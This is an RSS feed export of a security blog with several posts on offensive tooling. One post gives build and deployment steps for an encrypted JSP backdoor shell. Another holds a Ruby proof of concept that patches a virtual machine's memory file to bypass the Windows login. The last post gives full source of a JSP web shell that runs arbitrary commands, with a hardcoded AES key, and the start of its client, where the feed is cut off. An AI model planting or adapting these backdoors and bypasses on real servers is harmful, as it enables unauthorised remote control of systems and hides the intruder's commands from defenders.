<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>DiabloHorn</title>
	<atom:link href="http://diablohorn.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://diablohorn.wordpress.com</link>
	<description>Attempting to understand security</description>
	<lastBuildDate>Fri, 27 Jan 2012 19:19:43 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='diablohorn.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>DiabloHorn</title>
		<link>http://diablohorn.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://diablohorn.wordpress.com/osd.xml" title="DiabloHorn" />
	<atom:link rel='hub' href='http://diablohorn.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Encrypted JSP Shell with signed diffie-hellman key exchange</title>
		<link>http://diablohorn.wordpress.com/2012/01/19/encrypted-jsp-shell-with-signed-diffie-hellman-key-exchange/</link>
		<comments>http://diablohorn.wordpress.com/2012/01/19/encrypted-jsp-shell-with-signed-diffie-hellman-key-exchange/#comments</comments>
		<pubDate>Thu, 19 Jan 2012 01:07:34 +0000</pubDate>
		<dc:creator>diablohorn</dc:creator>
				<category><![CDATA[general]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[blowfish]]></category>
		<category><![CDATA[cryptography]]></category>
		<category><![CDATA[diffie-hellman]]></category>
		<category><![CDATA[dsa]]></category>
		<category><![CDATA[encrypted commands]]></category>
		<category><![CDATA[encrypted messages]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[JSP]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[signing]]></category>

		<guid isPermaLink="false">http://diablohorn.wordpress.com/?p=594</guid>
		<description><![CDATA[This is a follow up of my previous JSP Shell post. This JSP shell has the following functionality: Signed Diffie-Hellman key exchange Blowfish Encrypted commands Blowfish Encrypted result However the way I implemented the crypto part is as far as i know flawed, this because I&#8217;ll maybe try to break my own implementation. It&#8217;s on my [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=diablohorn.wordpress.com&amp;blog=5319799&amp;post=594&amp;subd=diablohorn&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>This is a follow up of my previous <a title="Simple JSP shell, Simple os detection &amp; prolly flawed encrypted commands" href="http://diablohorn.wordpress.com/2011/12/30/simple-jsp-shell-simple-os-detection-prolly-flawed-encrypted-commands/" target="_blank">JSP Shell</a> post. This JSP shell has the following functionality:</p>
<ul>
<li>Signed <a title="Diffie-Hellman" href="http://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange" target="_blank">Diffie-Hellman</a> key exchange</li>
<li>Blowfish Encrypted commands</li>
<li>Blowfish Encrypted result</li>
</ul>
<p>However the way I implemented the crypto part is as far as i know flawed, this because I&#8217;ll maybe try to break my own implementation. It&#8217;s on my todo list to understand more about cryptographic attacks. To my knowledge the following flaws are present(there are probably more, feel free to point them out in the comments). Thanks to the people of #crypto on freenode for answering my questions and having me realize the flaws listed below:</p>
<ul>
<li>Non-authenticated exchange of encrypted messages</li>
<li>The derivation of the Blowfish key from the Diffie-Hellman output isn&#8217;t hashed sufficiently</li>
</ul>
<p>So just to be clear, ONLY the initial key exchange is authenticated using <a title="Digital Signature Algorithm (DSA)" href="http://en.wikipedia.org/wiki/Digital_Signature_Algorithm" target="_blank">DSA signatures</a>, after which the secret key is established to encrypt the rest of the communication using <a title="Blowfish" href="http://en.wikipedia.org/wiki/Blowfish_(cipher)" target="_blank">Blowfish</a>. Let&#8217;s take a closer look at the usage and deployment of the shell. If you just want the code, it&#8217;s available on my <a title="encrypted jsp shell" href="https://github.com/DiabloHorn/DiabloHorn/tree/master/sjspShell" target="_blank">github page</a>. The bin directory contains everything you need for a grab&amp;go usage.</p>
<p><span id="more-594"></span></p>
<p>First of all, since the output is encrypted we will be using a custom java client to communicate with the shell. This is also the easiest part to build and the part responsible for the generation of the DSA public/private key pairs.</p>
<p>Let&#8217;s compile the client:</p>
<blockquote><p>java *.java</p></blockquote>
<p>It will output warnings, you can ignore them. I&#8217;ll maybe update the code to remove those warning, but I don&#8217;t promise anything. Now let&#8217;s generate the DSA public/private key pairs that we need.</p>
<blockquote><p>java SJSc gen</p></blockquote>
<p>It should output four files with a &#8220;dsa&#8221; extension. That&#8217;s all there is to it. Before we continue on to the actual  JSP Shell, let me explain a little quirk:</p>
<p>During the implementation of the Diffie-Hellman code I found it easier to keep the analogy of Alice &amp;  Bob visible in the code. Because of that the generated key pairs include alice &amp; bob in their names. Alice is the JSP Client and Bob is the JSP Shell.</p>
<p>To prepare the JSP Shell we need to perform three steps: compile, prepare and package. Before we can do any of those we need a correct WAR directory structure, make sure yours looks as follow:</p>
<blockquote><p>SJSs/<br />
|&#8211; index.jsp<br />
|&#8211; src<br />
|        `&#8211; sc<br />
|        `&#8211; SeComDH.java<br />
`&#8211; WEB-INF<br />
|&#8211; privatebob.dsa<br />
|&#8211; publicalice.dsa<br />
`&#8211; web.xml</p></blockquote>
<p>The &#8220;src&#8221; directory will be removed from the tree, but for now just leave it there. The only thing that needs compilation is  the &#8220;SeComDH.java&#8221; file. Due to the way of how JSP works, java files need to be inside a package, thus the whole reason it&#8217;s inside a folder named &#8220;sc&#8221;. Use the following command to compile the file:</p>
<blockquote><p>javac SeComDH.java</p></blockquote>
<p>Now you need to adjust your directory structure to look like the one below, I advise creating a new directory with the structure below:</p>
<blockquote><p>SJSs/<br />
|&#8211; index.jsp<br />
`&#8211; WEB-INF<br />
|&#8211; classes<br />
|     `&#8211; sc<br />
|           `&#8211; SeComDH.class<br />
|&#8211; privatebob.dsa<br />
|&#8211; publicalice.dsa<br />
`&#8211; web.xml</p></blockquote>
<p>See my previous post to know what goes inside web.xml. In case you didn&#8217;t notice, we copied the public key from alice (client) and the private key from bob (shell) to the WEB-INF directory. Now that we have compiled the src and prepared the package, let&#8217;s create the actual WAR file:</p>
<p style="padding-left:30px;">jar cvf shell.war -C SJSs/ .</p>
<p>If everything went as planned, you now have a WAR file which you can for example upload to tomcat. When deployed you can use the client as follow to talk with the shell:</p>
<p style="padding-left:30px;">java SJSc http://localhost:8080/shell/ enc</p>
<p>Just make sure that the appropriate &#8220;.dsa&#8221; files are in the same directory. If you dislike the shell you can reuse the SeComDH.java class for your own JSP shell. It isn&#8217;t exactly OO but it should suffice for most situations where you want to protect the communication with your JSP backdoor. Maybe I&#8217;ll create a small bash script to automate the whole process, but <a title="meh" href="http://en.wikipedia.org/wiki/Meh" target="_blank">meh</a>&#8230; it isn&#8217;t that much work to do it manually, and you just need to it one time. Thereafter you can just generate new key pairs and replace the old ones etc.</p>
<p>For the ones curious, this is how it looks like on the wire(&#8220;[...]&#8221; represents the rest of the data, didn&#8217;t want to spam this post with random hex):</p>
<p>Key Exchange:</p>
<blockquote><p>GET /shell/?e=yeah&amp;dp=308201a53082011a06[...]&amp;s=302d02150088c0a[...] HTTP/1.1<br />
User-Agent: Java/1.6.0_26<br />
Host: localhost:8080<br />
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2<br />
Connection: keep-alive</p>
<p>HTTP/1.1 200 OK<br />
Server: Apache-Coyote/1.1<br />
Set-Cookie: JSESSIONID=3A178ECB35C6DF9B8645D0485D12C7F1; Path=/shell<br />
Content-Type: text/html<br />
Content-Length: 954<br />
Date: Thu, 19 Jan 2012 00:20:26 GMT</p>
<p>308201a630[...];302c0214266b[..]</p></blockquote>
<p>Sending a command and receiving it&#8217;s output:</p>
<blockquote><p>GET /shell/?t=318c1e300239e062&amp;i=917a2c3f156d7e7e HTTP/1.1<br />
Cookie: JSESSIONID=3A178ECB35C6DF9B8645D0485D12C7F1<br />
User-Agent: Java/1.6.0_26<br />
Host: localhost:8080<br />
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2<br />
Connection: keep-alive</p>
<p>HTTP/1.1 200 OK<br />
Server: Apache-Coyote/1.1<br />
Content-Type: text/html<br />
Content-Length: 74<br />
Date: Thu, 19 Jan 2012 00:20:34 GMT</p>
<p>ae6262daaf1a4612[...]</p></blockquote>
<br />Filed under: <a href='http://diablohorn.wordpress.com/category/general/'>general</a>, <a href='http://diablohorn.wordpress.com/category/security/'>security</a> Tagged: <a href='http://diablohorn.wordpress.com/tag/backdoor/'>backdoor</a>, <a href='http://diablohorn.wordpress.com/tag/blowfish/'>blowfish</a>, <a href='http://diablohorn.wordpress.com/tag/cryptography/'>cryptography</a>, <a href='http://diablohorn.wordpress.com/tag/diffie-hellman/'>diffie-hellman</a>, <a href='http://diablohorn.wordpress.com/tag/dsa/'>dsa</a>, <a href='http://diablohorn.wordpress.com/tag/encrypted-commands/'>encrypted commands</a>, <a href='http://diablohorn.wordpress.com/tag/encrypted-messages/'>encrypted messages</a>, <a href='http://diablohorn.wordpress.com/tag/java/'>java</a>, <a href='http://diablohorn.wordpress.com/tag/jsp/'>JSP</a>, <a href='http://diablohorn.wordpress.com/tag/shell/'>shell</a>, <a href='http://diablohorn.wordpress.com/tag/signing/'>signing</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/diablohorn.wordpress.com/594/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/diablohorn.wordpress.com/594/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/diablohorn.wordpress.com/594/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/diablohorn.wordpress.com/594/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/diablohorn.wordpress.com/594/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/diablohorn.wordpress.com/594/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/diablohorn.wordpress.com/594/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/diablohorn.wordpress.com/594/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/diablohorn.wordpress.com/594/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/diablohorn.wordpress.com/594/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/diablohorn.wordpress.com/594/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/diablohorn.wordpress.com/594/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/diablohorn.wordpress.com/594/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/diablohorn.wordpress.com/594/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=diablohorn.wordpress.com&amp;blog=5319799&amp;post=594&amp;subd=diablohorn&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://diablohorn.wordpress.com/2012/01/19/encrypted-jsp-shell-with-signed-diffie-hellman-key-exchange/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">diablohorn</media:title>
		</media:content>
	</item>
		<item>
		<title>Virtualized Firewire attack</title>
		<link>http://diablohorn.wordpress.com/2012/01/04/virtualized-firewire-attack/</link>
		<comments>http://diablohorn.wordpress.com/2012/01/04/virtualized-firewire-attack/#comments</comments>
		<pubDate>Wed, 04 Jan 2012 22:31:15 +0000</pubDate>
		<dc:creator>diablohorn</dc:creator>
				<category><![CDATA[midnight thoughts]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[dma]]></category>
		<category><![CDATA[encryption]]></category>
		<category><![CDATA[firewire]]></category>
		<category><![CDATA[privilege elevation]]></category>
		<category><![CDATA[virtualization]]></category>

		<guid isPermaLink="false">http://diablohorn.wordpress.com/?p=588</guid>
		<description><![CDATA[This has been on my mind for a while but haven&#8217;t found the time to test it out yet, so here is the midnight idea if anyone wants to test it out. Sometimes you need to become local administrator on a windows machine which has full disk encryption, is fully up to date and has [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=diablohorn.wordpress.com&amp;blog=5319799&amp;post=588&amp;subd=diablohorn&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>This has been on my mind for a while but haven&#8217;t found the time to test it out yet, so here is the midnight idea if anyone wants to test it out.</p>
<p>Sometimes you need to become local administrator on a windows machine which has full disk encryption, is fully up to date and has very little software which could present you with a decent attack surface. Normally you would just whip out your readily available<a title="firewire attack tool" href="http://www.breaknenter.org/projects/ftwautopwn/" target="_blank"> firewire attack tools</a>, hook up your equipment and have a shell with elevated privileges in no-time. Let&#8217;s suppose the target machine doesn&#8217;t have a firewire port or it has the drivers disabled, how could we still pwn it?</p>
<p>This is when theory gets mixed with practical stuff (aka the part I haven&#8217;t practically tested yet). The essence of the <a title="firewire" href="http://en.wikipedia.org/wiki/IEEE_1394" target="_blank">firewire</a> attack is to obtain <a title="direct memory access" href="http://en.wikipedia.org/wiki/Direct_memory_access" target="_blank">direct memory access</a> (DMA) with the goal to freely adjust memory. What if we could access the memory without the need for a firewire port, think virtualization. All (afaik) virtualization software uses a regular file on disk which represents the memory of the virtual machine. You prolly feel it coming by now, the attack boils down to:</p>
<p>&nbsp;</p>
<blockquote><p>Boot the target machine from a cd/dvd/usb virtualize the harddisk, pause the machine, patch the memory file, resume the machine, obtain elevated privileges.</p></blockquote>
<p>Now that doesn&#8217;t sound to hard does it? Just one important obstacle: <strong>you</strong> do<strong> need</strong> the <strong>crypto credentials</strong> to be able to perform this attack. Think social engineering, hardware keylogger or just asking nicely.</p>
<p>I have performed a simulation of this attack to see if at least the part of pausing the virtual machine, patching the memory file and resuming it does work. The result is as expected it <strong>DOES</strong> work. Here is the ruby POC snippet that i wrote to test it out:</p>
<p><pre class="brush: ruby;">
#used the offsets from winlockpwn
#POC virtualized firewire, http://diablohorn.wordpress.com
File.open(&quot;Windows XP Professional.vmem&quot;, &quot;rb+&quot;) do |io|
 while(b = io.read(9)) #read the exact amount of bytes needed for the signature
 data = b.unpack(&quot;H18&quot;)
 if data.to_s == &quot;8BFF558BEC83EC50A1&quot;.downcase #lol i like pretty uppercase hex in code
 spos = io.pos-9
 io.seek(io.pos+4) #skip the cookie bytes
 if io.read(3).unpack(&quot;H6&quot;).to_s == &quot;8B4D20&quot;.downcase #this seems pretty constant check it to be sure
 puts &quot;found: #{io.pos}&quot;
 io.seek(spos+165) #advance to what we actually want to patch
 puts &quot;Patching offset: &quot; + io.pos.to_s
 puts &quot;Original bytes: &quot; + io.read(2).unpack(&quot;H4&quot;).to_s
 puts &quot;Patching with B001&quot;
 io.seek(io.pos-2)
 count = io.write(&quot;\xb0\x01&quot;) #patch it
 io.flush
 io.fsync #really, really make sure we write to disk
 puts &quot;Written bytes #{count}&quot;
 io.seek(io.pos-2)
 puts &quot;Result: &quot; + io.read(2).unpack(&quot;H4&quot;).to_s #verify it
 io.close
 exit #case closed
 end
 end
 #this kinda results in an endless loop
 fpos = io.pos-8
 io.seek(fpos)
 Signal.trap(&quot;USR1&quot;) do
 puts &quot;position: #{fpos}b, #{fpos/1048576}mb&quot;
 puts &quot;data: %s&quot; % data
 end
 end
end

</pre></p>
<p>The main obstacle at the moment is actually testing this out by virtualizing a real hard disk, since afaik it can result in a lot of problems which might prevent it from virtualizing correctly.</p>
<p>You might be wondering why we don&#8217;t just decrypt the harddisk, adjust some executable and encrypt the harddisk with the final result of elevated privileges. Well not all full disk encryption software allows you to decrypt the disk with the credentials you have. Some solution (specially if they are corporate) require additional keys and/or action to be taken before you are able to fully decrypt the harddisk. I assume that if you invest enough reversing time you might be able to still decrypt the harddisk with the credentials you have.</p>
<p>If anyone actually tests this out I would love to hear if it works, in case I get around to testing this myself I&#8217;ll let you guys know.</p>
<p><strong>References</strong></p>
<p><a href="http://www.breaknenter.org/projects/ftwautopwn/">http://www.breaknenter.org/projects/ftwautopwn/</a><br />
<a href="http://www.breaknenter.org/2011/05/winlockpwn-on-ubuntu/">http://www.breaknenter.org/2011/05/winlockpwn-on-ubuntu/</a><br />
<a href="http://www.moonloop.org/bin/view/Moonloop/Article:k9iBW83eo9cBsdUlg7Red6cUaILIXVGw" target="_blank">http://www.moonloop.org/bin/view/Moonloop/Article:k9iBW83eo9cBsdUlg7Red6cUaILIXVGw</a><br />
<a href="http://md.hudora.de/presentations/firewire/PacSec2004.pdf" target="_blank">http://md.hudora.de/presentations/firewire/PacSec2004.pdf</a></p>
<br />Filed under: <a href='http://diablohorn.wordpress.com/category/midnight-thoughts/'>midnight thoughts</a>, <a href='http://diablohorn.wordpress.com/category/security/'>security</a> Tagged: <a href='http://diablohorn.wordpress.com/tag/dma/'>dma</a>, <a href='http://diablohorn.wordpress.com/tag/encryption/'>encryption</a>, <a href='http://diablohorn.wordpress.com/tag/firewire/'>firewire</a>, <a href='http://diablohorn.wordpress.com/tag/privilege-elevation/'>privilege elevation</a>, <a href='http://diablohorn.wordpress.com/tag/virtualization/'>virtualization</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/diablohorn.wordpress.com/588/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/diablohorn.wordpress.com/588/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/diablohorn.wordpress.com/588/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/diablohorn.wordpress.com/588/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/diablohorn.wordpress.com/588/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/diablohorn.wordpress.com/588/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/diablohorn.wordpress.com/588/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/diablohorn.wordpress.com/588/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/diablohorn.wordpress.com/588/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/diablohorn.wordpress.com/588/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/diablohorn.wordpress.com/588/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/diablohorn.wordpress.com/588/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/diablohorn.wordpress.com/588/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/diablohorn.wordpress.com/588/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=diablohorn.wordpress.com&amp;blog=5319799&amp;post=588&amp;subd=diablohorn&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://diablohorn.wordpress.com/2012/01/04/virtualized-firewire-attack/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">diablohorn</media:title>
		</media:content>
	</item>
		<item>
		<title>Cleaning up links</title>
		<link>http://diablohorn.wordpress.com/2012/01/04/cleaning-up-links/</link>
		<comments>http://diablohorn.wordpress.com/2012/01/04/cleaning-up-links/#comments</comments>
		<pubDate>Wed, 04 Jan 2012 02:53:07 +0000</pubDate>
		<dc:creator>diablohorn</dc:creator>
				<category><![CDATA[general]]></category>

		<guid isPermaLink="false">http://diablohorn.wordpress.com/?p=586</guid>
		<description><![CDATA[I&#8217;ve cleaned up all non-working links on the right, new ones will be added soon. If you think I&#8217;ve removed you by mistake please let me know, also let me know if you want me to link to you. Use my email address located on the contact page or reply to this entry. Filed under: [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=diablohorn.wordpress.com&amp;blog=5319799&amp;post=586&amp;subd=diablohorn&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve cleaned up all non-working links on the right, new ones will be added soon. If you think I&#8217;ve removed you by mistake please let me know, also let me know if you want me to link to you. Use my email address located on the contact page or reply to this entry.</p>
<br />Filed under: <a href='http://diablohorn.wordpress.com/category/general/'>general</a>  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/diablohorn.wordpress.com/586/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/diablohorn.wordpress.com/586/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/diablohorn.wordpress.com/586/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/diablohorn.wordpress.com/586/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/diablohorn.wordpress.com/586/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/diablohorn.wordpress.com/586/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/diablohorn.wordpress.com/586/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/diablohorn.wordpress.com/586/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/diablohorn.wordpress.com/586/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/diablohorn.wordpress.com/586/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/diablohorn.wordpress.com/586/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/diablohorn.wordpress.com/586/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/diablohorn.wordpress.com/586/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/diablohorn.wordpress.com/586/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=diablohorn.wordpress.com&amp;blog=5319799&amp;post=586&amp;subd=diablohorn&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://diablohorn.wordpress.com/2012/01/04/cleaning-up-links/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">diablohorn</media:title>
		</media:content>
	</item>
		<item>
		<title>Simple JSP shell, Simple os detection &amp; prolly flawed encrypted commands</title>
		<link>http://diablohorn.wordpress.com/2011/12/30/simple-jsp-shell-simple-os-detection-prolly-flawed-encrypted-commands/</link>
		<comments>http://diablohorn.wordpress.com/2011/12/30/simple-jsp-shell-simple-os-detection-prolly-flawed-encrypted-commands/#comments</comments>
		<pubDate>Fri, 30 Dec 2011 22:51:44 +0000</pubDate>
		<dc:creator>diablohorn</dc:creator>
				<category><![CDATA[security]]></category>
		<category><![CDATA[AES]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[encryption]]></category>
		<category><![CDATA[JSP]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[tomcat/jboss]]></category>
		<category><![CDATA[war]]></category>

		<guid isPermaLink="false">http://diablohorn.wordpress.com/?p=576</guid>
		<description><![CDATA[So I wanted a JSP shell which would make it a little bit harder to get the executed commands by sniffing the wire, here is a quick and dirty example of such a shell. I might improve it and also encrypt the server response and maybe implement some signed diffie-hellman to agree on the key [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=diablohorn.wordpress.com&amp;blog=5319799&amp;post=576&amp;subd=diablohorn&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>So I wanted a JSP shell which would make it a little bit harder to get the executed commands by sniffing the wire, here is a quick and dirty example of such a shell. I might improve it and also encrypt the server response and maybe implement some signed diffie-hellman to agree on the key to use for encryption. For the moment being this works just fine, as said this was a quick hack so dirty code all over the place.</p>
<p>Functions:</p>
<ul>
<li>Simple OS detection linux/windows, selects the correct underlying shell accordingly</li>
<li>Commands shouldn&#8217;t break when using pipes and it displays the error stream also(can be inconvenient)</li>
<li>Basic (possibly flawed) AES 128bit encryption of the commands you send</li>
<li>Option to work without encryption</li>
</ul>
<p>Here is the JSP part:</p>
<p><pre class="brush: java;">
&lt;%--
Simple JSP shell, Simple os detection &amp; prolly flawed encrypted commands
Author: http://diablohorn.wordpress.com
Borrowed and modified code from the following sources:
 http://www.javaworld.com/javaworld/jw-12-2000/jw-1229-traps.html?page=4
 http://stackoverflow.com/questions/992019/java-256bit-aes-encryption
 http://java.sun.com/developer/technicalArticles/Security/AES/AES_v1.html
--%&gt;
&lt;%@page import=&quot;java.util.*,java.io.*,java.security.AlgorithmParameters,java.security.spec.KeySpec,javax.crypto.Cipher,javax.crypto.SecretKey,javax.crypto.SecretKeyFactory,javax.crypto.spec.IvParameterSpec,javax.crypto.spec.PBEKeySpec,javax.crypto.spec.SecretKeySpec&quot;%&gt;
&lt;%!
public byte[] hexStringToByteArray(String s) {
 int len = s.length();
 byte[] data = new byte[len / 2];
 for (int i = 0; i &lt; len; i += 2) {
 data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) &lt;&lt; 4)
 + Character.digit(s.charAt(i+1), 16));
 }
 return data;
}
%&gt;
&lt;%!
/**
decrypt
*/

public String cmdDecrypt(String cmd,String iv){
 try{
 char[] password = {'t','e','s','t'};
 byte[] salt = {'s','a','l','t','w','e','a','k'};
 SecretKeyFactory factory = SecretKeyFactory.getInstance(&quot;PBKDF2WithHmacSHA1&quot;);
 KeySpec spec = new PBEKeySpec(password, salt, 1024, 128);
 SecretKey tmp = factory.generateSecret(spec);
 SecretKey secret = new SecretKeySpec(tmp.getEncoded(), &quot;AES&quot;);

 Cipher cipher = Cipher.getInstance(&quot;AES/CBC/PKCS5Padding&quot;);
 cipher.init(Cipher.DECRYPT_MODE, secret, new IvParameterSpec(hexStringToByteArray(iv)));
 String plaintext = new String(cipher.doFinal(hexStringToByteArray(cmd)));
 return plaintext;
 } catch(Exception e){
 return null;
 }
}
%&gt;

&lt;%
String temp = request.getParameter(&quot;t&quot;);
String i = request.getParameter(&quot;i&quot;);
String ce = request.getParameter(&quot;e&quot;);
String cmd2exec = new String();
if(ce == null){
 cmd2exec = cmdDecrypt(temp,i);
 if( cmd2exec == null){
 out.println(&quot;error&quot;);
 return;
 }
}else{
 cmd2exec = temp;
}
try
{
 String osName = System.getProperty(&quot;os.name&quot; );
 out.println(osName);
 String[] cmd = new String[3];
 if( osName.toLowerCase().contains(&quot;windows&quot;))
 {
 cmd[0] = &quot;cmd.exe&quot; ;
 cmd[1] = &quot;/C&quot; ;
 cmd[2] = cmd2exec;
 }
 else if( osName.toLowerCase().contains(&quot;linux&quot;))
 {
 cmd[0] = &quot;/bin/bash&quot; ;
 cmd[1] = &quot;-c&quot; ;
 cmd[2] = cmd2exec;
 }else{
 cmd[0] = cmd2exec;
 }

Runtime rt = Runtime.getRuntime();
 Process proc = rt.exec(cmd);
 try
 {
 InputStreamReader iser = new InputStreamReader(proc.getErrorStream());
 InputStreamReader isir = new InputStreamReader(proc.getInputStream());
 BufferedReader ber = new BufferedReader(iser);
 BufferedReader bir = new BufferedReader(isir);
 String errline=null;
 String inpline=null;

 while ( (inpline = bir.readLine()) != null)
 out.println(inpline);

 while ( (errline = ber.readLine()) != null)
 out.println(errline);

 } catch (IOException ioe) {
 ioe.printStackTrace();
 }
 int exitVal = proc.waitFor();
 out.println(&quot;ExitValue: &quot; + exitVal);
} catch (Exception e) {
 e.printStackTrace();
}
%&gt;
</pre></p>
<p>The downside however is that you need some kind of client to send the commands to the shell, so here is the client part:</p>
<p><pre class="brush: java;">
import java.io.*;
import java.net.*;

import java.security.AlgorithmParameters;
import java.security.spec.KeySpec;
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.SecretKeySpec;

/**
 * Simple JSP shell, Simple os detection &amp; prolly flawed encrypted commands
 * Author: http://diablohorn.wordpress.com
 * Borrowed and modified code from the following sources:
 * http://www.javaworld.com/javaworld/jw-12-2000/jw-1229-traps.html?page=4
 * http://stackoverflow.com/questions/992019/java-256bit-aes-encryption
 * http://java.sun.com/developer/technicalArticles/Security/AES/AES_v1.html
 * http://www.devdaily.com/java/edu/pj/pj010011
 */
public class Main {
 /**
 * Turns array of bytes into string
 *
 * @param buf Array of bytes to convert to hex string
 * @return Generated hex string
 */
 public static String asHex(byte buf[]) {
 StringBuffer strbuf = new StringBuffer(buf.length * 2);
 int i;

for (i = 0; i &lt; buf.length; i++) {
 if (((int) buf[i] &amp; 0xff) &lt; 0x10) {
 strbuf.append(&quot;0&quot;);
 }

strbuf.append(Long.toString((int) buf[i] &amp; 0xff, 16));
 }

return strbuf.toString();
 }

public static void main(String[] args) {
 try{
 URL u;
 InputStream is = null;
 DataInputStream dis;
 String s;
 char[] password = {'t','e','s','t'};
 byte[] salt = {'s','a','l','t','w','e','a','k'};

 SecretKeyFactory factory = SecretKeyFactory.getInstance(&quot;PBKDF2WithHmacSHA1&quot;);
 KeySpec spec = new PBEKeySpec(password, salt, 1024, 128);
 SecretKey tmp = factory.generateSecret(spec);
 SecretKey secret = new SecretKeySpec(tmp.getEncoded(), &quot;AES&quot;);

Cipher cipher = Cipher.getInstance(&quot;AES/CBC/PKCS5Padding&quot;);
 cipher.init(Cipher.ENCRYPT_MODE, secret);
 AlgorithmParameters params = cipher.getParameters();
